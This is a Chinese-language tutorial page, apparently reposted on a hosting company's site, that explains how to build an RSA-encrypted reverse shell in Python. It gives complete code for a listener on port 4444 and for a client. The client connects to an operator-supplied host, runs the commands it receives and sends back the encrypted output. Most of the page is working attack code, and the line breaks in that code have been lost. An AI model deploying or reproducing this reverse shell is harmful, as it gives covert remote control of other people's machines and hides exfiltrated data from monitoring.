- 資訊首頁(yè) > 網(wǎng)絡(luò )安全 >
- 如何使用RSA加密在Python中逆向shell
本篇內容主要講解“如何使用RSA加密在Python中逆向shell”,感興趣的朋友不妨來(lái)看看。本文介紹的方法操作簡(jiǎn)單快捷,實(shí)用性強。下面就讓小編來(lái)帶大家學(xué)習“如何使用RSA加密在Python中逆向shell”吧!
首先,我們需要一個(gè)偵聽(tīng)器來(lái)處理所有傳入的連接。 這是listener_rsa.py的代碼
#!/usr/bin/pythonfrom Crypto.PublicKey import RSAfrom Crypto import Randomfrom Crypto.Hash import SHA256import socketfrom thread import *import sysimport pickle#Generate public key and private keyrandom_generator = Random.new().read key = RSA.generate(2048, random_generator) public_key = key.publickey()#Create socket and bind to accept connectionss = socket.socket(socket.AF_INET, socket.SOCK_STREAM)try: s.bind(("0.0.0.0", 4444))except socket.error, v: print "Binding failed. Error code : " + str(v[0]) + " Message " + v[1] sys.exit()
print "Socket bind complete"s.listen(2)print "[+] Listening to the incoming connection on port 4444..."def clientthread_sendpublickey(client) : client.send(pickle.dumps(public_key))def clienthandle(client) : while True : command = raw_input('~$ ') client.send(command) if command == 'quit' : break buf = client.recv(2048) encreply = pickle.loads(buf) print key.decrypt(encreply)while True: (client, (ip, port)) = s.accept() print "Received connection from : ", ip start_new_thread(clientthread_sendpublickey, (client,)) print "Public Key sent to", ip start_new_thread(clienthandle, (client,))
我在Python中使用PyCrypto模塊進(jìn)行加密。 繼續安裝它。 我建議使用pip來(lái)安裝模塊。
$ sudo pip install pycrypto
在我們進(jìn)入代碼之前,讓我向你解釋一下RSA加密及其密鑰。 RSA是一種非對稱(chēng)加密標準。 它有兩個(gè)鍵,公共和私有。 簡(jiǎn)單來(lái)說(shuō),公鑰用于加密消息,私鑰用于解密。 下面是描述該過(guò)程的框圖
如果你對RSA的數學(xué)工作感興趣,那么我建議你閱讀http://mathworld.wolfram.com/RSAEncryption.html(當心,僅限極客)
在上面的程序中,首先生成密鑰,該密鑰也是私鑰。
key = RSA.generate(2048, random_generator)
函數RSA.generate有兩個(gè)參數,第一個(gè)是以位為單位的密鑰的大小,第二個(gè)是通常使用python隨機函數生成的隨機數。 在創(chuàng )建私鑰之后,從中提取公鑰并將其存儲在變量中以供將來(lái)使用。
public_key = key.publickey()
使用套接字模塊創(chuàng )建套接字,這相對簡(jiǎn)單。 你可以參考Python套接字1的官方文檔,甚至可以進(jìn)行簡(jiǎn)單的Google搜索。
套接字綁定并等待連接傳入連接。
注 - 如果要將Linux中的套接字綁定到小于1024的端口,則必須以root身份執行該腳本。
當收到連接時(shí),初始化新線(xiàn)程以將生成的公鑰發(fā)送到客戶(hù)端,以便它可以加密回復。
def clientthread_sendpublickey(client) :client.send(pickle.dumps(public_key))
我們?yōu)槭裁匆肞ickle? Pickle用于序列化和反序列化python對象。 由于public_key不是常規字符串,因此必須對其進(jìn)行pickle,然后將其發(fā)送到接收方。
警告 - pickle模塊不能防止錯誤或惡意構造的數據。 切勿取消從不受信任或未經(jīng)身份驗證的來(lái)源收到的數據。
一旦發(fā)送了公鑰,另一個(gè)線(xiàn)程clienthandle(客戶(hù)端)被初始化為T(mén)rue:loop,它發(fā)送給接收者的命令。 接收器運行命令并使用公鑰加密輸出。 然后將輸出的pickle發(fā)送給監聽(tīng)器。
回復是unpickled,使用私鑰解密并打印在屏幕上。
encreply = pickle.loads(buf)print key.decrypt(encreply)
如果給出'quit'命令,則終止連接。
讓我們轉到反向shell所在的接收器端。 reverse_shell_rsa的腳本如下所示
#!/usr/bin/pythonimport socket, subprocess, sys from Crypto.PublicKey import RSA from Crypto.Hash import SHA256import pickle
RHOST = sys.argv[1] RPORT = 4444s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((RHOST, RPORT))def receive_key(): data_key = s.recv(1024) return data_key pickled_publickey = receive_key() public_key = pickle.loads(pickled_publickey)
while True : command = s.recv(1024) if command == 'quit' : break reply = subprocess.Popen(str(command), shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) stdout, stderr = reply.communicate() en_reply = public_key.encrypt(stdout, 32) s.send(pickle.dumps(en_reply)) s.close()
一如既往,導入必要的模塊。 要連接的IP地址作為參數提供,并存儲在RHOST變量中。 創(chuàng )建套接字并與(偵聽(tīng)器)建立連接。 一旦接受連接,服務(wù)器就會(huì )發(fā)送公鑰(在listener.py腳本中向上滾動(dòng)到clientthread_sendpublickey()),該公鑰通過(guò)函數receive_key()接收并去除(記住pickling?)以獲取公鑰。
def receive_key():data_key = s.recv(1024)return data_key pickled_publickey = receive_key() public_key = pickle.loads(pickled_publickey)
一段時(shí)間初始化True循環(huán)以保持連接的持久性并接收命令。 如果命令是“退出”,則節目結束。 否則,給定的命令作為子進(jìn)程和標準輸出運行,標準錯誤通過(guò)管道傳遞給變量'reply'。 然后使用公鑰對標準輸出進(jìn)行加密,pickling并發(fā)送到服務(wù)器。
en_reply = public_key.encrypt(stdout, 32) s.send(pickle.dumps(en_reply))
然后耐心等待,直到下一個(gè)命令。
免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng )、來(lái)自互聯(lián)網(wǎng)轉載和分享為主,文章觀(guān)點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權請聯(lián)系QQ:712375056 進(jìn)行舉報,并提供相關(guān)證據,一經(jīng)查實(shí),將立刻刪除涉嫌侵權內容。
Copyright ? 2009-2021 56dr.com. All Rights Reserved. 特網(wǎng)科技 特網(wǎng)云 版權所有 珠海市特網(wǎng)科技有限公司 粵ICP備16109289號
域名注冊服務(wù)機構:阿里云計算有限公司(萬(wàn)網(wǎng)) 域名服務(wù)機構:煙臺帝思普網(wǎng)絡(luò )科技有限公司(DNSPod) CDN服務(wù):阿里云計算有限公司 中國互聯(lián)網(wǎng)舉報中心 增值電信業(yè)務(wù)經(jīng)營(yíng)許可證B2
建議您使用Chrome、Firefox、Edge、IE10及以上版本和360等主流瀏覽器瀏覽本網(wǎng)站